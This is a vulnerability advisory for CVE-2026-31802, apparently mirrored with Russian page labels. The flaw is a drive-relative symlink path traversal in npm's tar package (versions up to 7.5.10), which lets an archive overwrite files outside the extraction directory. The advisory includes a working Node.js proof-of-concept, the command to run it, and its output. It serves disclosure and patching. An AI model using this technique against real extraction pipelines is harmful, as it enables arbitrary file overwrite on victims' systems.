GHSA-9ppj-qmqm-q256

Опубликовано: 10 мар. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.2

Описание

node-tar Symlink Path Traversal via Drive-Relative Linkpath

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

CLI tools unpacking untrusted tarballs into a working directory
build/update pipelines consuming third-party archives
services that import user-supplied tar files

Ссылки

Пакеты

Наименование

tar

npm

Затронутые версииВерсия исправления

<= 7.5.10

7.5.11

EPSS

Процентиль: 0%

0.00007

Низкий

8.2 High

CVSS4

CVE ID

CVE-2026-31802

Дефекты

CWE-22

Связанные уязвимости

CVE-2026-31802

CVSS3: 5.5

ubuntu

17 дней назад

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.